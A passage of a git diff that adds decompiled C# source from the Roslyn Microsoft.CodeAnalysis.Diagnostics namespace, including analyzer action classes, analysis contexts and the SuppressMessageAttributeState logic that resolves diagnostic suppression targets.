ArgumentException(CodeAnalysisResources.InvalidOperationBlockForAnalysisContext, "operationBlock"); + } + return DiagnosticAnalysisContextHelpers.GetControlFlowGraph(operationBlock, _getControlFlowGraph, _cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockStartAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockStartAnalyzerAction.cs new file mode 100644 index 0000000..c3b1965 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/OperationBlockStartAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class OperationBlockStartAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public OperationBlockStartAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/ProgrammaticSuppressionInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/ProgrammaticSuppressionInfo.cs new file mode 100644 index 0000000..69ff735 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/ProgrammaticSuppressionInfo.cs @@ -0,0 +1,37 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class ProgrammaticSuppressionInfo : IEquatable +{ + public ImmutableHashSet<(string Id, LocalizableString Justification)> Suppressions { get; } + + internal ProgrammaticSuppressionInfo(ImmutableHashSet<(string Id, LocalizableString Justification)> suppressions) + { + Suppressions = suppressions; + } + + public bool Equals(ProgrammaticSuppressionInfo? other) + { + if (this == other) + { + return true; + } + if (other != null) + { + return Suppressions.SetEqualsWithoutIntermediateHashSet(other.Suppressions); + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as ProgrammaticSuppressionInfo); + } + + public override int GetHashCode() + { + return Suppressions.Count; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SemanticModelAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SemanticModelAnalysisContext.cs new file mode 100644 index 0000000..8d6b4ea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SemanticModelAnalysisContext.cs @@ -0,0 +1,57 @@ +using System; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public readonly struct SemanticModelAnalysisContext +{ + private readonly SemanticModel _semanticModel; + + private readonly AnalyzerOptions _options; + + private readonly Action _reportDiagnostic; + + private readonly Func _isSupportedDiagnostic; + + private readonly CancellationToken _cancellationToken; + + public SemanticModel SemanticModel => _semanticModel; + + public AnalyzerOptions Options => _options; + + public CancellationToken CancellationToken => _cancellationToken; + + public SyntaxTree FilterTree { get; } + + public TextSpan? FilterSpan { get; } + + public bool IsGeneratedCode { get; } + + [Obsolete("Use CompilationWithAnalyzers instead. See https://github.com/dotnet/roslyn/issues/63440 for more details.")] + public SemanticModelAnalysisContext(SemanticModel semanticModel, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, CancellationToken cancellationToken) + : this(semanticModel, options, reportDiagnostic, (Diagnostic d, CancellationToken _) => isSupportedDiagnostic(d), null, isGeneratedCode: false, cancellationToken) + { + } + + internal SemanticModelAnalysisContext(SemanticModel semanticModel, AnalyzerOptions options, Action reportDiagnostic, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + _semanticModel = semanticModel; + _options = options; + _reportDiagnostic = reportDiagnostic; + _isSupportedDiagnostic = isSupportedDiagnostic; + FilterTree = semanticModel.SyntaxTree; + FilterSpan = filterSpan; + IsGeneratedCode = isGeneratedCode; + _cancellationToken = cancellationToken; + } + + public void ReportDiagnostic(Diagnostic diagnostic) + { + DiagnosticAnalysisContextHelpers.VerifyArguments(diagnostic, _semanticModel.Compilation, _isSupportedDiagnostic, _cancellationToken); + lock (_reportDiagnostic) + { + _reportDiagnostic(diagnostic); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SemanticModelAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SemanticModelAnalyzerAction.cs new file mode 100644 index 0000000..acdbed2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SemanticModelAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class SemanticModelAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public SemanticModelAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SeverityFilter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SeverityFilter.cs new file mode 100644 index 0000000..8347272 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SeverityFilter.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +[Flags] +internal enum SeverityFilter +{ + None = 0, + Hidden = 1, + Info = 0x10 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SeverityFilterExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SeverityFilterExtensions.cs new file mode 100644 index 0000000..02d95dc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SeverityFilterExtensions.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal static class SeverityFilterExtensions +{ + internal static bool Contains(this SeverityFilter severityFilter, ReportDiagnostic severity) + { + return severity switch + { + ReportDiagnostic.Hidden => (severityFilter & SeverityFilter.Hidden) != 0, + ReportDiagnostic.Info => (severityFilter & SeverityFilter.Info) != 0, + _ => false, + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SourceOrAdditionalFile.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SourceOrAdditionalFile.cs new file mode 100644 index 0000000..f9ff4ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SourceOrAdditionalFile.cs @@ -0,0 +1,60 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal readonly struct SourceOrAdditionalFile : IEquatable +{ + public SyntaxTree? SourceTree { get; } + + public AdditionalText? AdditionalFile { get; } + + public SourceOrAdditionalFile(SyntaxTree tree) + { + SourceTree = tree; + AdditionalFile = null; + } + + public SourceOrAdditionalFile(AdditionalText file) + { + AdditionalFile = file; + SourceTree = null; + } + + public override bool Equals(object? obj) + { + if (obj is SourceOrAdditionalFile other) + { + return Equals(other); + } + return false; + } + + public bool Equals(SourceOrAdditionalFile other) + { + if (SourceTree == other.SourceTree) + { + return AdditionalFile == other.AdditionalFile; + } + return false; + } + + public static bool operator ==(SourceOrAdditionalFile left, SourceOrAdditionalFile right) + { + return object.Equals(left, right); + } + + public static bool operator !=(SourceOrAdditionalFile left, SourceOrAdditionalFile right) + { + return !object.Equals(left, right); + } + + public override int GetHashCode() + { + if (SourceTree != null) + { + return Hash.Combine(newKeyPart: true, SourceTree.GetHashCode()); + } + return Hash.Combine(newKeyPart: false, AdditionalFile.GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SourceTextValueProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SourceTextValueProvider.cs new file mode 100644 index 0000000..e0c7303 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SourceTextValueProvider.cs @@ -0,0 +1,15 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class SourceTextValueProvider +{ + internal AnalysisValueProvider CoreValueProvider { get; private set; } + + public SourceTextValueProvider(Func computeValue, IEqualityComparer? sourceTextComparer = null) + { + CoreValueProvider = new AnalysisValueProvider(computeValue, sourceTextComparer ?? SourceTextComparer.Instance); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressMessageAttributeState.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressMessageAttributeState.cs new file mode 100644 index 0000000..0ca031f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/SuppressMessageAttributeState.cs @@ -0,0 +1,1047 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal class SuppressMessageAttributeState +{ + private class GlobalSuppressions + { + private readonly Dictionary _compilationWideSuppressions = new Dictionary(); + + private readonly Dictionary> _globalSymbolSuppressions = new Dictionary>(); + + public void AddCompilationWideSuppression(SuppressMessageInfo info) + { + AddOrUpdate(info, _compilationWideSuppressions); + } + + public void AddGlobalSymbolSuppression(ISymbol symbol, SuppressMessageInfo info) + { + if (_globalSymbolSuppressions.TryGetValue(symbol, out Dictionary value)) + { + AddOrUpdate(info, value); + return; + } + value = new Dictionary { { info.Id, info } }; + _globalSymbolSuppressions.Add(symbol, value); + } + + public bool HasCompilationWideSuppression(string id, out SuppressMessageInfo info) + { + return _compilationWideSuppressions.TryGetValue(id, out info); + } + + public bool HasGlobalSymbolSuppression(ISymbol symbol, string id, bool isImmediatelyContainingSymbol, out SuppressMessageInfo info) + { + if (_globalSymbolSuppressions.TryGetValue(symbol, out Dictionary value) && value.TryGetValue(id, out info)) + { + if (symbol.Kind != SymbolKind.Namespace) + { + return true; + } + if (TryGetTargetScope(info, out var scope)) + { + switch (scope) + { + case TargetScope.Namespace: + return isImmediatelyContainingSymbol; + case TargetScope.NamespaceAndDescendants: + return true; + } + } + } + info = default(SuppressMessageInfo); + return false; + } + } + + internal enum TargetScope + { + None, + Module, + Namespace, + Resource, + Type, + Member, + NamespaceAndDescendants + } + + [StructLayout(LayoutKind.Auto)] + private struct TargetSymbolResolver(Compilation compilation, TargetScope scope, string fullyQualifiedName) + { + [StructLayout(LayoutKind.Auto)] + private readonly struct TypeInfo + { + public readonly ITypeSymbol Type; + + public readonly int StartIndex; + + public bool IsBound => Type != null; + + private TypeInfo(ITypeSymbol type, int startIndex) + { + Type = type; + StartIndex = startIndex; + } + + public static TypeInfo Create(ITypeSymbol type) + { + return new TypeInfo(type, -1); + } + + public static TypeInfo CreateUnbound(int startIndex) + { + return new TypeInfo(null, startIndex); + } + } + + [StructLayout(LayoutKind.Auto)] + private readonly struct ParameterInfo(TypeInfo type, bool isRefOrOut) + { + public readonly TypeInfo Type = type; + + public readonly bool IsRefOrOut = isRefOrOut; + } + + private static readonly char[] s_nameDelimiters = new char[15] + { + ':', '.', '+', '(', ')', '<', '>', '[', ']', '{', + '}', ',', '&', '*', '`' + }; + + private static readonly string[] s_callingConventionStrings = new string[5] { "[vararg]", "[cdecl]", "[fastcall]", "[stdcall]", "[thiscall]" }; + + private static readonly ParameterInfo[] s_noParameters = Array.Empty(); + + private readonly Compilation _compilation = compilation; + + private readonly TargetScope _scope = scope; + + private readonly string _name = fullyQualifiedName; + + private int _index = 0; + + private static string RemovePrefix(string id, string prefix) + { + if (id != null && prefix != null && id.StartsWith(prefix, StringComparison.Ordinal)) + { + int length = prefix.Length; + return id.Substring(length, id.Length - length); + } + return id; + } + + public ImmutableArray Resolve(out bool resolvedWithDocCommentIdFormat) + { + resolvedWithDocCommentIdFormat = false; + if (string.IsNullOrEmpty(_name)) + { + return ImmutableArray.Empty; + } + ImmutableArray symbolsForDeclarationId = DocumentationCommentId.GetSymbolsForDeclarationId(RemovePrefix(_name, "~"), _compilation); + if (symbolsForDeclarationId.Length > 0) + { + resolvedWithDocCommentIdFormat = true; + return symbolsForDeclarationId; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = false; + if (_name.Length >= 2 && _name[0] == 'e' && _name[1] == ':') + { + flag = true; + _index = 2; + } + INamespaceOrTypeSymbol namespaceOrTypeSymbol = _compilation.GlobalNamespace; + bool? flag2 = null; + while (true) + { + string text = ParseNextNameSegment(); + bool flag3 = false; + if (text == "Item" && PeekNextChar() == '[') + { + flag3 = true; + if (_compilation.Language == "C#") + { + text = "this[]"; + } + } + ImmutableArray immutableArray = namespaceOrTypeSymbol.GetMembers(text); + if (immutableArray.Length == 0) + { + break; + } + if (flag2.HasValue) + { + immutableArray = (flag2.Value ? immutableArray.Where((ISymbol s) => s.Kind == SymbolKind.NamedType).ToImmutableArray() : immutableArray.Where((ISymbol s) => s.Kind != SymbolKind.NamedType).ToImmutableArray()); + flag2 = null; + } + int? num = null; + ParameterInfo[] array = null; + if (_scope != TargetScope.Namespace && PeekNextChar() == '`') + { + _index++; + num = ReadNextInteger(); + } + char c = PeekNextChar(); + if ((!flag3 && c == '(') || (flag3 && c == '[')) + { + array = ParseParameterList(); + if (array == null) + { + break; + } + } + else if ((c == '+' || c == '.') ? true : false) + { + _index++; + namespaceOrTypeSymbol = ((!(num > 0) && c != '+') ? GetFirstMatchingNamespaceOrType(immutableArray) : GetFirstMatchingNamedType(immutableArray, num.GetValueOrDefault())); + if (namespaceOrTypeSymbol == null) + { + break; + } + if (namespaceOrTypeSymbol.Kind == SymbolKind.NamedType) + { + flag2 = c == '+'; + } + continue; + } + if (_scope == TargetScope.Member && !flag3 && array != null) + { + TypeInfo? returnType = null; + if (PeekNextChar() == ':') + { + _index++; + returnType = ParseNamedType(null); + } + ImmutableArray.Enumerator enumerator = GetMatchingMethods(immutableArray, num, array, returnType).GetEnumerator(); + while (enumerator.MoveNext()) + { + IMethodSymbol current = enumerator.Current; + instance.Add(current); + } + } + else + { + ISymbol symbol = _scope switch + { + TargetScope.Namespace => immutableArray.FirstOrDefault((ISymbol s) => s.Kind == SymbolKind.Namespace), + TargetScope.Type => GetFirstMatchingNamedType(immutableArray, num.GetValueOrDefault()), + TargetScope.Member => (!flag3) ? ((!flag) ? immutableArray.FirstOrDefault(delegate(ISymbol s) + { + SymbolKind kind = s.Kind; + return kind != SymbolKind.Namespace && kind != SymbolKind.NamedType; + }) : immutableArray.FirstOrDefault((ISymbol s) => s.Kind == SymbolKind.Event)) : GetFirstMatchingIndexer(immutableArray, array), + _ => throw ExceptionUtilities.UnexpectedValue(_scope), + }; + if (symbol != null) + { + instance.Add(symbol); + } + } + break; + } + return instance.ToImmutableAndFree(); + } + + private string ParseNextNameSegment() + { + if (PeekNextChar() == '#') + { + _index++; + if (PeekNextChar() == '[') + { + string[] array = s_callingConventionStrings; + foreach (string text in array) + { + if (text == _name.Substring(_index, text.Length)) + { + _index += text.Length; + break; + } + } + } + } + int num = ((PeekNextChar() == '.') ? _name.IndexOfAny(s_nameDelimiters, _index + 1) : _name.IndexOfAny(s_nameDelimiters, _index)); + string result; + if (num >= 0) + { + string name = _name; + int i = _index; + result = name.Substring(i, num - i); + _index = num; + } + else + { + string name2 = _name; + int i = _index; + result = name2.Substring(i, name2.Length - i); + _index = _name.Length; + } + return result; + } + + private char PeekNextChar() + { + if (_index < _name.Length) + { + return _name[_index]; + } + return '\0'; + } + + private int ReadNextInteger() + { + int num = 0; + while (_index < _name.Length && char.IsDigit(_name[_index])) + { + num = num * 10 + (_name[_index] - 48); + _index++; + } + return num; + } + + private ParameterInfo[] ParseParameterList() + { + _index++; + char c = PeekNextChar(); + if ((c == ')' || c == ']') ? true : false) + { + _index++; + return s_noParameters; + } + ArrayBuilder arrayBuilder = new ArrayBuilder(); + while (true) + { + ParameterInfo? parameterInfo = ParseParameter(); + if (parameterInfo.HasValue) + { + arrayBuilder.Add(parameterInfo.Value); + if (PeekNextChar() != ',') + { + break; + } + _index++; + continue; + } + arrayBuilder.Free(); + return null; + } + c = PeekNextChar(); + if ((c == ')' || c == ']') ? true : false) + { + _index++; + return arrayBuilder.ToArrayAndFree(); + } + arrayBuilder.Free(); + return null; + } + + private ParameterInfo? ParseParameter() + { + TypeInfo? typeInfo = ParseType(null); + if (!typeInfo.HasValue) + { + return null; + } + bool flag = PeekNextChar() == '&'; + if (flag) + { + _index++; + } + return new ParameterInfo(typeInfo.Value, flag); + } + + private TypeInfo? ParseType(ISymbol bindingContext) + { + IgnoreCustomModifierList(); + TypeInfo? result; + if (PeekNextChar() == '!') + { + result = ParseIndexedTypeParameter(bindingContext); + } + else + { + result = ParseNamedType(bindingContext); + if (bindingContext != null && result.HasValue && !result.Value.IsBound) + { + _index = result.Value.StartIndex; + result = ParseNamedTypeParameter(bindingContext); + } + } + if (!result.HasValue) + { + return null; + } + if (result.Value.IsBound) + { + ITypeSymbol typeSymbol = result.Value.Type; + while (true) + { + IgnoreCustomModifierList(); + switch (PeekNextChar()) + { + case '[': + typeSymbol = ParseArrayType(typeSymbol); + if (typeSymbol == null) + { + return null; + } + break; + case '*': + _index++; + typeSymbol = _compilation.CreatePointerTypeSymbol(typeSymbol); + break; + default: + return TypeInfo.Create(typeSymbol); + } + } + } + IgnorePointerAndArraySpecifiers(); + return result; + } + + private void IgnoreCustomModifierList() + { + if (PeekNextChar() == '{') + { + while (_index < _name.Length && _name[_index] != '}') + { + _index++; + } + } + } + + private void IgnorePointerAndArraySpecifiers() + { + bool flag = false; + while (_index < _name.Length) + { + switch (PeekNextChar()) + { + case '[': + flag = true; + break; + case ']': + if (!flag) + { + return; + } + flag = false; + break; + default: + if (!flag) + { + return; + } + break; + case '*': + break; + } + _index++; + } + } + + private TypeInfo? ParseIndexedTypeParameter(ISymbol bindingContext) + { + int index = _index; + _index++; + if (PeekNextChar() == '!') + { + _index++; + int num = ReadNextInteger(); + if (bindingContext is IMethodSymbol methodSymbol) + { + int length = methodSymbol.TypeParameters.Length; + if (length > 0 && num < length) + { + return TypeInfo.Create(methodSymbol.TypeParameters[num]); + } + return null; + } + return TypeInfo.CreateUnbound(index); + } + int n = ReadNextInteger(); + if (bindingContext != null) + { + ITypeParameterSymbol nthTypeParameter = GetNthTypeParameter(bindingContext.ContainingType, n); + if (nthTypeParameter != null) + { + return TypeInfo.Create(nthTypeParameter); + } + return null; + } + return TypeInfo.CreateUnbound(index); + } + + private TypeInfo? ParseNamedTypeParameter(ISymbol bindingContext) + { + string text = ParseNextNameSegment(); + if (bindingContext is IMethodSymbol methodSymbol) + { + for (int i = 0; i < methodSymbol.TypeParameters.Length; i++) + { + if (methodSymbol.TypeParameters[i].Name == text) + { + return TypeInfo.Create(methodSymbol.TypeArguments[i]); + } + } + } + for (INamedTypeSymbol containingType = bindingContext.ContainingType; containingType != null; containingType = containingType.ContainingType) + { + for (int j = 0; j < containingType.TypeParameters.Length; j++) + { + if (containingType.TypeParameters[j].Name == text) + { + return TypeInfo.Create(containingType.TypeArguments[j]); + } + } + } + return null; + } + + private TypeInfo? ParseNamedType(ISymbol bindingContext) + { + INamespaceOrTypeSymbol namespaceOrTypeSymbol = _compilation.GlobalNamespace; + int index = _index; + ImmutableArray members; + int num; + TypeInfo[] array; + while (true) + { + string name = ParseNextNameSegment(); + members = namespaceOrTypeSymbol.GetMembers(name); + if (members.Length == 0) + { + return TypeInfo.CreateUnbound(index); + } + num = 0; + array = null; + if (PeekNextChar() == '`') + { + _index++; + num = ReadNextInteger(); + } + if (PeekNextChar() == '<') + { + array = ParseTypeArgumentList(bindingContext); + if (array == null) + { + return null; + } + if (array.Any((TypeInfo a) => !a.IsBound)) + { + return TypeInfo.CreateUnbound(index); + } + } + char c = PeekNextChar(); + if ((c != '+' && c != '.') || 1 == 0) + { + break; + } + _index++; + namespaceOrTypeSymbol = ((num <= 0 && c != '+') ? GetFirstMatchingNamespaceOrType(members) : GetFirstMatchingNamedType(members, num)); + if (namespaceOrTypeSymbol == null) + { + return null; + } + } + INamedTypeSymbol namedTypeSymbol = GetFirstMatchingNamedType(members, num); + if (namedTypeSymbol == null) + { + return null; + } + if (array != null) + { + namedTypeSymbol = namedTypeSymbol.Construct(array.Select((TypeInfo t) => t.Type).ToArray()); + } + return TypeInfo.Create(namedTypeSymbol); + } + + private TypeInfo[] ParseTypeArgumentList(ISymbol bindingContext) + { + _index++; + ArrayBuilder arrayBuilder = new ArrayBuilder(); + while (true) + { + TypeInfo? typeInfo = ParseType(bindingContext); + if (!typeInfo.HasValue) + { + arrayBuilder.Free(); + return null; + } + arrayBuilder.Add(typeInfo.Value); + if (PeekNextChar() != ',') + { + break; + } + _index++; + } + if (PeekNextChar() == '>') + { + _index++; + return arrayBuilder.ToArrayAndFree(); + } + arrayBuilder.Free(); + return null; + } + + private ITypeSymbol ParseArrayType(ITypeSymbol typeSymbol) + { + _index++; + int num = 1; + while (true) + { + char c = PeekNextChar(); + switch (c) + { + case ',': + num++; + break; + case ']': + _index++; + return _compilation.CreateArrayTypeSymbol(typeSymbol, num); + default: + if (!char.IsDigit(c) && c != '.') + { + return null; + } + break; + } + _index++; + } + } + + private ISymbol GetFirstMatchingIndexer(ImmutableArray candidateMembers, ParameterInfo[] parameters) + { + ImmutableArray.Enumerator enumerator = candidateMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is IPropertySymbol propertySymbol && AllParametersMatch(propertySymbol.Parameters, parameters)) + { + return propertySymbol; + } + } + return null; + } + + private ImmutableArray GetMatchingMethods(ImmutableArray candidateMembers, int? arity, ParameterInfo[] parameters, TypeInfo? returnType) + { + ArrayBuilder arrayBuilder = new ArrayBuilder(); + ImmutableArray.Enumerator enumerator = candidateMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!(enumerator.Current is IMethodSymbol methodSymbol) || (arity.HasValue && methodSymbol.Arity != arity) || !AllParametersMatch(methodSymbol.Parameters, parameters)) + { + continue; + } + if (!returnType.HasValue) + { + arrayBuilder.Add(methodSymbol); + continue; + } + ITypeSymbol typeSymbol = BindParameterOrReturnType(methodSymbol, returnType.Value); + if (typeSymbol != null && methodSymbol.ReturnType.Equals(typeSymbol)) + { + arrayBuilder.Add(methodSymbol); + } + } + return arrayBuilder.ToImmutableAndFree(); + } + + private bool AllParametersMatch(ImmutableArray symbolParameters, ParameterInfo[] expectedParameters) + { + if (symbolParameters.Length != expectedParameters.Length) + { + return false; + } + for (int i = 0; i < expectedParameters.Length; i++) + { + if (!ParameterMatches(symbolParameters[i], expectedParameters[i])) + { + return false; + } + } + return true; + } + + private bool ParameterMatches(IParameterSymbol symbol, ParameterInfo parameterInfo) + { + if (symbol.RefKind == RefKind.None == parameterInfo.IsRefOrOut) + { + return false; + } + ITypeSymbol typeSymbol = BindParameterOrReturnType(symbol.ContainingSymbol, parameterInfo.Type); + if (typeSymbol != null) + { + return symbol.Type.Equals(typeSymbol); + } + return false; + } + + private ITypeSymbol BindParameterOrReturnType(ISymbol bindingContext, TypeInfo type) + { + if (type.IsBound) + { + return type.Type; + } + int index = _index; + _index = type.StartIndex; + TypeInfo? typeInfo = ParseType(bindingContext); + _index = index; + return typeInfo?.Type; + } + + private static INamedTypeSymbol GetFirstMatchingNamedType(ImmutableArray candidateMembers, int arity) + { + return (INamedTypeSymbol)candidateMembers.FirstOrDefault((ISymbol s) => s.Kind == SymbolKind.NamedType && ((INamedTypeSymbol)s).Arity == arity); + } + + private static INamespaceOrTypeSymbol GetFirstMatchingNamespaceOrType(ImmutableArray candidateMembers) + { + return (INamespaceOrTypeSymbol)candidateMembers.FirstOrDefault(delegate(ISymbol s) + { + SymbolKind kind = s.Kind; + return (uint)(kind - 11) <= 1u; + }); + } + + private static ITypeParameterSymbol GetNthTypeParameter(INamedTypeSymbol typeSymbol, int n) + { + int typeParameterCount = GetTypeParameterCount(typeSymbol.ContainingType); + if (n < typeParameterCount) + { + return GetNthTypeParameter(typeSymbol.ContainingType, n); + } + int num = n - typeParameterCount; + ImmutableArray typeParameters = typeSymbol.TypeParameters; + if (num < typeParameters.Length) + { + return typeParameters[num]; + } + return null; + } + + private static int GetTypeParameterCount(INamedTypeSymbol typeSymbol) + { + if (typeSymbol == null) + { + return 0; + } + return typeSymbol.TypeParameters.Length + GetTypeParameterCount(typeSymbol.ContainingType); + } + } + + private static readonly SmallDictionary s_suppressMessageScopeTypes = new SmallDictionary(StringComparer.OrdinalIgnoreCase) + { + { + string.Empty, + TargetScope.None + }, + { + "module", + TargetScope.Module + }, + { + "namespace", + TargetScope.Namespace + }, + { + "resource", + TargetScope.Resource + }, + { + "type", + TargetScope.Type + }, + { + "member", + TargetScope.Member + }, + { + "namespaceanddescendants", + TargetScope.NamespaceAndDescendants + } + }; + + private readonly Compilation _compilation; + + private GlobalSuppressions? _lazyGlobalSuppressions; + + private readonly ConcurrentDictionary> _localSuppressionsBySymbol; + + private StrongBox? _lazySuppressMessageAttribute; + + private StrongBox? _lazyUnconditionalSuppressMessageAttribute; + + private const string s_suppressionPrefix = "~"; + + private ISymbol? SuppressMessageAttribute + { + get + { + if (_lazySuppressMessageAttribute == null) + { + Interlocked.CompareExchange(ref _lazySuppressMessageAttribute, new StrongBox(_compilation.GetTypeByMetadataName("System.Diagnostics.CodeAnalysis.SuppressMessageAttribute")), null); + } + return _lazySuppressMessageAttribute.Value; + } + } + + private ISymbol? UnconditionalSuppressMessageAttribute + { + get + { + if (_lazyUnconditionalSuppressMessageAttribute == null) + { + Interlocked.CompareExchange(ref _lazyUnconditionalSuppressMessageAttribute, new StrongBox(_compilation.GetTypeByMetadataName("System.Diagnostics.CodeAnalysis.UnconditionalSuppressMessageAttribute")), null); + } + return _lazyUnconditionalSuppressMessageAttribute.Value; + } + } + + private static bool TryGetTargetScope(SuppressMessageInfo info, out TargetScope scope) + { + return s_suppressMessageScopeTypes.TryGetValue(info.Scope ?? string.Empty, out scope); + } + + internal SuppressMessageAttributeState(Compilation compilation) + { + _compilation = compilation; + _localSuppressionsBySymbol = new ConcurrentDictionary>(); + } + + public Diagnostic ApplySourceSuppressions(Diagnostic diagnostic) + { + if (diagnostic.IsSuppressed) + { + return diagnostic; + } + if (IsDiagnosticSuppressed(diagnostic, out SuppressMessageInfo _)) + { + diagnostic = diagnostic.WithIsSuppressed(isSuppressed: true); + } + return diagnostic; + } + + public bool IsDiagnosticSuppressed(Diagnostic diagnostic, [NotNullWhen(true)] out AttributeData? suppressingAttribute) + { + if (IsDiagnosticSuppressed(diagnostic, out SuppressMessageInfo info)) + { + suppressingAttribute = info.Attribute; + return true; + } + suppressingAttribute = null; + return false; + } + + private bool IsDiagnosticSuppressed(Diagnostic diagnostic, out SuppressMessageInfo info) + { + info = default(SuppressMessageInfo); + if (diagnostic.CustomTags.Contains("Compiler")) + { + return false; + } + string id = diagnostic.Id; + Location location = diagnostic.Location; + if (IsDiagnosticGloballySuppressed(id, null, isImmediatelyContainingSymbol: false, out info)) + { + return true; + } + if (location.IsInSource) + { + SemanticModel semanticModel = _compilation.GetSemanticModel(location.SourceTree); + bool flag = true; + for (SyntaxNode syntaxNode = location.SourceTree.GetRoot().FindNode(location.SourceSpan, findInsideTrivia: false, getInnermostNodeForTie: true); syntaxNode != null; syntaxNode = syntaxNode.Parent) + { + ImmutableArray declaredSymbolsForNode = semanticModel.GetDeclaredSymbolsForNode(syntaxNode); + ImmutableArray.Enumerator enumerator = declaredSymbolsForNode.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (current.Kind == SymbolKind.Namespace) + { + return hasNamespaceSuppression((INamespaceSymbol)current, flag); + } + if (IsDiagnosticLocallySuppressed(id, current, out info) || IsDiagnosticGloballySuppressed(id, current, flag, out info)) + { + return true; + } + } + if (!declaredSymbolsForNode.IsEmpty) + { + flag = false; + } + } + } + return false; + bool hasNamespaceSuppression(INamespaceSymbol namespaceSymbol, bool inImmediatelyContainingSymbol) + { + do + { + if (IsDiagnosticGloballySuppressed(id, namespaceSymbol, inImmediatelyContainingSymbol, out var _)) + { + return true; + } + namespaceSymbol = namespaceSymbol.ContainingNamespace; + inImmediatelyContainingSymbol = false; + } + while (namespaceSymbol != null); + return false; + } + } + + private bool IsDiagnosticGloballySuppressed(string id, ISymbol? symbolOpt, bool isImmediatelyContainingSymbol, out SuppressMessageInfo info) + { + GlobalSuppressions globalSuppressions = DecodeGlobalSuppressMessageAttributes(); + if (!globalSuppressions.HasCompilationWideSuppression(id, out info)) + { + if (symbolOpt != null) + { + return globalSuppressions.HasGlobalSymbolSuppression(symbolOpt, id, isImmediatelyContainingSymbol, out info); + } + return false; + } + return true; + } + + private bool IsDiagnosticLocallySuppressed(string id, ISymbol symbol, out SuppressMessageInfo info) + { + return _localSuppressionsBySymbol.GetOrAdd(symbol, DecodeLocalSuppressMessageAttributes).TryGetValue(id, out info); + } + + private GlobalSuppressions 